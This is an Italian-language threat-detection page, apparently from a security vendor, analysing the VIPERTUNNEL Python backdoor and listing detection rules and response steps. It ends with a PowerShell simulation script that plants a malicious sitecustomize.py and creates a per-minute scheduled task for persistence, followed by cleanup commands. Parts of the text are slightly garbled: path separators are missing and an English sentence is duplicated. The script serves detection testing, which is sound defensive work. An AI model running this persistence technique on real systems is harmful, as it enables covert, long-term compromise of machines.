VIPERTUNNEL Backdoor Python: Un’Analisi Approfondita
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Il rapporto dettaglia l’analisi di VIPERTUNNEL, una backdoor basata su Python che ottiene la persistenza tramite un’attività pianificata e sfrutta un sito sitecustomize.py malevolo per caricare una DLL offuscata. La DLL decodifica ed esegue un payload a più stadi che stabilisce un proxy SOCKS5 a un server C2 codificato su porta 443. L’infrastruttura è collegata a UNC2165 ed EvilCorp e condivide tecniche di offuscamento con il credential-stealer ShadowCoil.
Indagine
I ricercatori hanno esaminato l’output di Autoruns, identificato l’attività pianificata 523135538 e tracciato l’esecuzione fino a C:ProgramDatacp49spythonw.exe e al suo modulo sitecustomize.py. L’analisi inversa di b5yogiiy3c.dll ha rivelato offuscamento a strati, routine di decrittazione e una fase finale che crea un tunnel SOCKS5 utilizzando credenziali codificate. L’analisi dell’infrastruttura ha collegato più domini e IP alla campagna e ha evidenziato l’uso del framework Pyramid C2.
Mitigazione
Distribuire la rilevazione degli endpoint che monitora l’esecuzione di pythonw.exe senza argomenti, la creazione di attività pianificate con nomi numerici e la presenza di sitecustomize.py in posizioni inaspettate. Bloccare il traffico in uscita verso domini C2 conosciuti e le porte 443/8000 con risposte HTTP 401 anomale. Implementare un rigoroso controllo delle applicazioni per prevenire il caricamento di moduli Python non autorizzati.
Risposta
Avvisare sulla creazione dell’attività pianificata sospetta e l’esecuzione di pythonw.exe senza uno script. Quarantena degli host compromessi, raccolta di dump di memoria, e ricerca dei nomi di classi caratteristiche e delle credenziali codificate. Invalida le credenziali compromesse e interrompi l’infrastruttura C2 identificata nel rapporto.
Flusso de Attacco
Rilevamenti
Esecuzione di Python da Cartelle Sospette (via cmdline)
Visualizza
Attività Pianificata Sospetta (via audit)
Visualizza
IOC (SourceIP) da rilevare: Serpeggiando nel Rumore – Analisi Approfondita del Backdoor VIPERTUNNEL Parte 2
Visualizza
IOC (SourceIP) da rilevare: Serpeggiando nel Rumore – Analisi Approfondita del Backdoor VIPERTUNNEL Parte 1
Visualizza
IOC (DestinationIP) da rilevare: Serpeggiando nel Rumore – Analisi Approfondita del Backdoor VIPERTUNNEL Parte 2
Visualizza
IOC (DestinationIP) da rilevare: Serpeggiando nel Rumore – Analisi Approfondita del Backdoor VIPERTUNNEL Parte 1
Visualizza
Esecuzione Sospetta di Python per la Persistenza tramite sitecustomize.py [Creazione Processo Windows]
Visualizza
Esecuzione della Simulazione
Pre-requisito: Il Controllo Pre-Volante di Telemetria e Baseline deve essere passato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare telemetria esattamente come previsto dalla logica di rilevamento.
-
Narrazione dell’Attacco e Comandi:
L’avversario prima lascia cadere un file
sitecustomize.pydannoso nella stessa directory dipythonw.exe. Python importa automaticamentesitecustomize.pyall’avvio dell’interprete, permettendo all’attaccante di eseguire codice arbitrario senza passare un percorso di script sulla linea di comando. Avviandopythonw.exesenza argomenti, l’evento di creazione del processo contiene una linea di comando vuota, soddisfacendo le condizioni della regola Sigma. Il payload stabilisce un’attività pianificata per la persistenza, assicurando che l’interprete venga eseguito all’avvio del sistema, mantenendo così una presenza a lungo termine.CommandLinefield, satisfying the Sigma rule’s conditions. The payload establishes a scheduled task for persistence, ensuring the interpreter runs at system startup, thereby maintaining long‑term foothold. -
Script di Test di Regressione:
# ------------------------------------------------- # Setup sito malevolo sitecustomize.py # ------------------------------------------------- $payloadPath = 'C:ProgramDatacp49ssitecustomize.py' $exePath = 'C:ProgramDatacp49spythonw.exe' # Assicurarsi che la cartella di destinazione esista New-Item -ItemType Directory -Path (Split-Path $exePath) -Force | Out-Null # Distribuire una copia benigna di pythonw.exe per il test (se non già presente) # In uno scenario di red team reale questo sarebbe l'interprete legittimo if (-Not (Test-Path $exePath)) { # Copia dall'installazione di Python di sistema (modificare il percorso come necessario) Copy-Item 'C:Python39pythonw.exe' $exePath } # Creare un sito malevolo sitecustomize.py (crea un'attività pianificata come prova del concetto) @" import subprocess, sys # Creare un'attività pianificata che esegue pythonw.exe ogni minuto (persistenza) subprocess.run(['schtasks', '/Create', '/SC', 'MINUTE', '/MO', '1', '/TN', 'UpdateTask', '/TR', sys.executable]) "@ | Set-Content -Path $payloadPath -Encoding UTF8 # ------------------------------------------------- # Attivare il rilevamento (esecuzione malevola) # ------------------------------------------------- Write-Host '[+] Avvio di pythonw.exe con linea di comando vuota...' Start-Process -FilePath $exePath -ArgumentList '' -WindowStyle Hidden # Attendere un breve periodo per la creazione dell'attività pianificata (opzionale) Start-Sleep -Seconds 5 Write-Host '[+] Payload eseguito. Controlla il tuo SIEM per l'allerta.' # ------------------------------------------------- # Fine dello script # ------------------------------------------------- -
Comandi di Pulizia:
# Rimuovere il sito malevolo sitecustomize.py Remove-Item -Path 'C:ProgramDatacp49ssitecustomize.py' -Force -ErrorAction SilentlyContinue # Eliminare l'attività pianificata creata dal payload schtasks /Delete /TN UpdateTask /F # Rimuovere facoltativamente la copia di pythonw.exe (se era una copia di test) # Remove-Item -Path 'C:ProgramDatacp49spythonw.exe' -Force Write-Host '[+] Pulizia completata.'